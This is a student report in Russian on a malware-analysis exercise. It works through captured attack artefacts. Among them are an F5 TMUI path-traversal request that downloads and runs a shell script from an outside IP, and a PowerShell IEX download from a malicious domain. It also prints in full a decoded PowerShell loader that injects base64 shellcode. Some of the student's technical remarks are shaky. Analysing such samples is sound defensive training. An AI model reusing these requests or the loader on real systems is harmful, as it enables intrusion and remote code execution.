# Отчёт по Пр. Заданию 1 ###### tags: `2-nd Stage` ### №1 1. GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget http://136.144.41.3+igipdmcdmsklcmk\ohsitsvegawellrip.sh ; chmod 777 ohsitsvegawellrip.sh ; sh ohsitsvegawellrip.sh ; wget https://https:\\iplogger.org"FGVP5 HTTP/1.1 Происходит загрузка некого файла скрипта для linux (ohsitsvegawellrip.sh) лежащего на http://136.144.41.3 (создан (согласно сервису whois): 2021.03.02 17:14:32 MSK) Команда chmod 777 (всем разрешено все) для скачанного скрипта Далее команда запуска скачанного скрипта sh Далее скачивание файла через сервис сокращения ссылок. Судя по Host: это скорее всего ip VPN-а Connection: keep-alive устанавливает постоянное http соединение Accept-Encoding: просто устанавливает алгоритм сжатия. Малоинтересная информация. Accept: разрешение любых расширений файлов User-Agent: Запрос поступил от Python 2. Установление постоянного http-соединения через python для скачивания через сервис сокращения ссылок и запуска скриптов. 3. Сервис сокращения ссылок, Python, Установление постоянного http-соединения для скачивания и запуска скриптов 4. Чтобы это понять, надо посмотреть на responce ### №2 1. Invoke-Expression - Запускает команды или выражения на локальном компьютере. Для скрытия какой именно код запускается злоумышленник (очевидно) постарался разбить символы на Числовые значения Char символов текста. 2. Сложно понять. Возможно скачивание и запуск удалённого скрипта. ### №3 Файл conhost должен быть в C:\Windows\System32 а не C:\Windows\Prefetch\CONHOST.EXE-1F3E9D7E.pf Командная строка conhost.exe 0xffffffff -ForceV1 имеет значение, ForceV1 запрашивает информацию прямо из пространства ядра, conhost подключается к консольному приложению. Powershell запускается с флагом -encodedCommand и расшифровав строку можно видеть скачивание файла .ico IEX (New-Object System.Net.WebClient).DownloadString('http://omni-consumer-pr0ducts.tk/favicon.ico'); (Казалось бы зачем шифровать скачивание иконки) Файл VERCLSID находится должен C: \ Program Files \ Microsoft \ Windows 7 Home Premium \ verclsid.exe. а не C:\Windows\Prefetch\VERCLSID.EXE-CD081540.pf Судя по всему это некий вредоносный скрипт встроенный в документ MS Word ### №4 Вышло через расшифровку gzip <code> function urg {Param ($x7, $zBH)$wLLcB = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') return $wLLcB.GetMethod('GetProcAddress', Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($wLLcB.GetMethod('GetModuleHandle')).Invoke($null, @($x7)))), $zBH))} function svcU { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $wKIxn, [Parameter(Position = 1)] [Type] $sw = [Void]) $bFyWj = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $bFyWj.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $wKIxn).SetImplementationFlags('Runtime, Managed') $bFyWj.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $sw, $wKIxn).SetImplementationFlags('Runtime, Managed') return $bFyWj.CreateType()} [Byte[]]$mkuA = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSSDHSUVZlSItSYEiLUhhIi1IgTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGFBEi0AgSQHQ41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFRCp4DA0FUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V") [Uint32]$miS = 0 $cP = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll VirtualAlloc), (svcU @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $mkuA.Length,0x3000, 0x04) [System.Runtime.InteropServices.Marshal]::Copy($mkuA, 0, $cP, $mkuA.length) if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll VirtualProtect), (svcU @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($cP, [Uint32]$mkuA.Length, 0x10, [Ref]$miS)) -eq $true) { $voWO = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll CreateThread), (svcU @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cP,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll WaitForSingleObject), (svcU @([IntPtr], [Int32]))).Invoke($voWO,0xffffffff) | Out-Null} </code> ### №5 Определите: 1. К какому семейству принадлежит данное ВПО? 2. Перечислите имена всех файлов, которые могли быть загружены на компьютер с помощью данного скрипта. TIP: Поисковиком можно пользоваться FromBase64String не расшифровывает алгоритм Base64 (Кракозябры) ### №6 FromBase64String не расшифровывает алгоритм Base64 (Кракозябры)